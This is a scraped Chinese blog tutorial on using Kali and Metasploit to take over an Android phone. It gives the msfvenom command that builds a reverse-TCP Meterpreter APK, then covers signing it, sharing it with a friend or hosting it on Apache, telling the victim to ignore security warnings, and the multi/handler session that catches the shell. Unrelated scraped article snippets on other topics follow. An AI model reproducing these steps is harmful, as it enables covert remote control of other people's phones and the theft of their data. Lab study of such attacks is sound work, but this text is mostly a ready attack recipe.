jjzjj

Kali 2021:用Metasploit实验入侵自己的安卓手机

安全的小白 2023-04-04 原文

要求：电脑主机与手机在同一网段，连接在同一wifi下

方法：在kali的网络适配器下选择桥接模式,选择后输入dhclient重新分发IP，此后就会在同一网段

对于我：kali2021 IP:192.168.1.10  手机IP:192.168.1.7

开始

一.生成apk应用

1，使用msfvenom生成一个预设定向连接kali主机的apk安卓应用。

    lhost=192.168.1.10 （这是Kali的IP）lport=4444 （默认4444，可以自定义），chmod使其权限够大

1 | msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.1.10 lport=4444 R > 1.apk

 

此时已经看到应用。之后我们需要用到的软件有三个，zipalign, keytool , apksigner，对t.apk文件进行优化对齐然后签名

 2.使用zipalign对apk进行对齐

1 | apt-get install zipalign

        kali默认有keytool，我们自行安装zipalign.

 如果出现该报错，只需将你的路径返回至 .apk应用路径。

3，生成密钥对

生成密钥对：
keytool -genkey -v -keystore cg.keystore -alias cg -keyalg RSA -keysize 2048 -validity 10000
解释：
keytool -genkeypair -keystore 密钥库名 -alias 密钥别名 -validity 天数 -keyalg RSA

4.对apk签名

签名：
apksigner sign --ks cg.keystore --ks-key-alias cg 11.apk
解释：
apksigner sign --ks 密钥库名 --ks-key-alias 密钥别名 tz.apk

apt-get install apksigner

 

5,对apk进行签名验证

apksigner verify -v --print-certs 11.apk

到这里我们已经完成了安卓手机的应用制作（木木）只要把它传到手机里安装就行。忽略所有的安全提示直接安装。

二.手机下载apk

注意：可以先不用下载，在进行完第三步时在下载

方法一：在kali下找到文件发送至好友进行下载即可

方法二：

cp 11.apk /var/www/html
vi /var/www/html/index.html

 找到此处，按i进入插入模式添加这一行，然后esc输入:wq保存并退出

这时候手机输入你kali的ip就能访问下载这个apk文件了。

可能出现的问题：

1.访问本机ip失败，显示服务器连接不成功

解决：在kali中开启网络服务： systemctl restart networking

开启apache服务： service apache2 start 

若在开启网络服务时报错，建议看下面该作者链接，讲述很全面

https://www.yht7.com/news/152889

 三，启动动msfconsole，设置payload监听

  1. msfconsole
  2. msf6 > use exploit/multi/handler
  3. [*] Using configured payload generic/shell_reverse_tcp
  4. msf6 exploit(multi/handler) > set payload android/meterpreter/reverse_tcp
  5. payload => android/meterpreter/reverse_tcp
  6. msf6 exploit(multi/handler) > show options
  7. Module options (exploit/multi/handler):
  8.    Name  Current Setting  Required  Description
  9.    ----  ---------------  --------  -----------
  11. Payload options (android/meterpreter/reverse_tcp):
  12.    Name   Current Setting  Required  Description
  13.    ----   ---------------  --------  -----------
  14.    LHOST                   yes       The listen address (an interface may be specified)
  15.    LPORT  4444             yes       The listen port
  17. Exploit target:
  18.    Id  Name
  19.    --  ----
  20.    0   Wildcard Target
  22. msf6 exploit(multi/handler) > set LHOST 192.168.1.10
  23. LHOST => 192.168.1.10
  24. msf6 exploit(multi/handler) > exploit

到这里，手机那边安装好11.apk之后并打开，这边kali就自动连接上了。 

 

MetasploitKalixfflixff0c网络$linux$android

有关Kali 2021:用Metasploit实验入侵自己的安卓手机的更多相关文章

  1. 怎样用一台手机做自媒体？ - 2

    其实做自媒体的成本并不高，入门只需要一部手机即可！在手机上找视频素材、使用手机剪辑视频、最后使用手机发布视频作品获得收益！方法并不难，今天这期内容就来给粉丝们分享一种小方法，每天稳定收益100-300，抓紧点赞收藏！1、找素材（1）使用手机拍摄自己喜欢的经典段落，使用程序把文案内容提取出来（2）也可以在豆瓣、知乎、微博等网站中找一些自己需要的文案素材（3）把文案进行润色修改，可以加入一些自己的观点（4）视频素材可以使用软件中自带的素材，也可以在素材网站中下载完整版的素材2、文案配音（1）把复制好的文案直接导入小程序中（2）调整音色、音调后一键合成音频即可（3）可以选择自己朗读配音，需要花一点时

  2. 安卓apk修改(Android反编译apk) - 2

    最近因为项目需要，需要将Android手机系统自带的某个系统软件反编译并更改里面某个资源，并重新打包，签名生成新的自定义的apk，下面我来介绍一下我的实现过程。APK修改，分为以下几步：反编译解包,修改,重打包,修改签名等步骤。安卓apk修改准备工作1.系统配置好JavaJDK环境变量2.需要root权限的手机（针对系统自带apk,其他软件免root）3.Auto-Sign签名工具4.apktool工具安卓apk修改开始反编译本文拿Android系统里面的Settings.apk做demo,具体如何将apk获取出来在此就不过多介绍了，直接进入主题：按键win+R输入cmd，打开命令窗口，并将路

  3. ruby-on-rails - 如何测试自己对 Ruby/ROR 的了解？ - 2

    是否有self验证的问题列表。看着那个，我可以确定我知道。我应该复习一下。在学习的过程中，我列了一个这样的list，但它只包含我在某处听说过的项目。我需要一段时间才能找到新的东西。 最佳答案 以下是针对ruby​​和Rails的一些测试列表。证书名称:RubyonRails谁提供:oDeskIncorporation认证费用:免费网站:https://www.odesk.com/tests/985?pos=0证书名称:RubyonRails提供者:Techgig.com(TimesBusinessSolutionsLimited(T

  4. ruby - 如何构建自己的自定义 session 存储类？ - 2

    默认情况下，session存储在浏览器cookie(:cookie_store)中，但您也可以指定其他包含的存储之一(:active_record_store、:mem_cache_store或您自己的自定义类。请提供我构建自定义类的方式config.action_controller.session_store=:your_customer_class 最佳答案 MaurícioLinhares是正确的，但是，我想添加一些细节，因为我认为您需要实现哪些方法并不明显。你可以继承自ActionDispatch::Session::Ab

  5. 如何使用手机远程访问自己的电脑？ - 2

    手机访问电脑后AnyViewer可以做什么？ 您成功将手机连接到Windows电脑后，然后您可以做任何您想做的事情，例如：查看文件和运行应用程序。电源管理：在远程会话中，点击电源管理，您可以看到三个项目：锁定、重启和关机，供您在不同情况下管理计算机。如果您需要暂时离开远程会话，可以锁定计算机。如果计算机死机，您可以重新启动它，然后再次连接。如果您已完成计算机上的所有工作，您可以使用手机远程关闭它。更改图像质量：当电脑和手机的网络都处于良好状态时，您可以选择高图像质量以获得更好的体验。当网络状况不佳时，您可以选择低图像质量以获得更流畅的操作。     显示桌面：我们无法在手机上按Windows+

  6. 网络实验之RIPV2协议（一） - 2

    一、RIPV2协议简介  RIP(RoutingInformationProtocol)路由协议是一种相对古老，在小型以及同介质网络中得到了广泛应用的一种路由协议。RIP采用距离向量算法，是一种距离向量协议。RIP-1是有类别路由协议（ClassfulRoutingProtocol），它只支持以广播方式发布协议报文。RIP-1的协议报文无法携带掩码信息，它只能识别A、B、C类这样的自然网段的路由，因此RIP-1不支持非连续子网（DiscontiguousSubnet）。RIP-2是一种无类别路由协议（ClasslessRoutingProtocol），支持路由标记，在路由策略中可根据路由标记对

  7. 手机 & 电脑数据，这样删除才彻底！ - 2

    恢复出厂设置后数据还在吗？格式化真的彻底吗？数据到底该怎么删？文章目录前言为什么不能彻底删除数据？手机如何彻底删除数据？第一步：恢复出厂设置第二步：手动覆写数据电脑如何彻底删除数据？方法一：命令提示符方法二：文件粉碎方法三：低级格式化硬盘总结前言个人数据安全再次成为大家关注的热门话题：在日常使用手机和电脑时，我们可能需要删除一些敏感数据，例如银行账户信息、个人照片、聊天记录等。数据删除的目的是保护个人隐私，避免泄露。以下是一些关于如何删除数据的方法。恢复出厂设置，不一定彻底清除手机数据电子产品迭代升级速度越来越快，大家家中的旧手机、旧电脑也越来越多，一键删除、格式化、恢复出厂设置能彻底清除个人

  8. ruby - OpenSSL 验证来自自己 CA 的证书 - 2

    大家好，感谢您花时间阅读本文。我需要验证由我自己的CA颁发的证书，我有一个证书。我怎样才能做相当于openssl的openssl验证-CAfile在Ruby代码中？OpenSSL的RDoc在这方面不是很有帮助。我试过:require'openssl'ca=OpenSSL::X509::Certificate.new(File.read('ca-cert.pem'))lic=OpenSSL::X509::Certificate.new(File.read('cert.pem'))putslic.verify(ca)但我得到:test.rb:7:in`verify':wrongargume

  9. ruby - 为什么我可以在 Ruby 中将一个 undefined variable 赋值给它自己并得到 nil？ - 2

    这个问题在这里已经有了答案:关闭10年前。PossibleDuplicate:Whya=aisnilinRuby?我们应该说，在Ruby中使用undefinedvariable是“奇怪的现象”。是这样的:#irbsessionfollows#foo#undefinedlocalvariableormethod'foo'bar#samefor'bar'foo=bar#stillsamefor'bar'foo=foo#nil-HUH?foo#isnowsettonil!?为什么我可以在Ruby中将一个undefinedvariable赋值给自身并得到nil？请注意，我在这里使用的是Ruby

  10. ruby - 如何在 heroku 中使用自己的 mysql 数据库服务器？ - 2

    我想使用托管在我自己服务器上的mysql数据库。我已经更改了DATABASE_URL和SHARED_DATABASE_URL配置变量以指向我的服务器，但它仍在尝试连接到heroku的amazonaws服务器。我该如何解决？ 最佳答案 根据Herokudocumentation，更改DATABASE_URL是正确的方法。Ifyouwouldliketohaveyourrailsapplicationconnecttoanon-Herokuprovideddatabase,youcantakeadvantageofthissamemec

随机推荐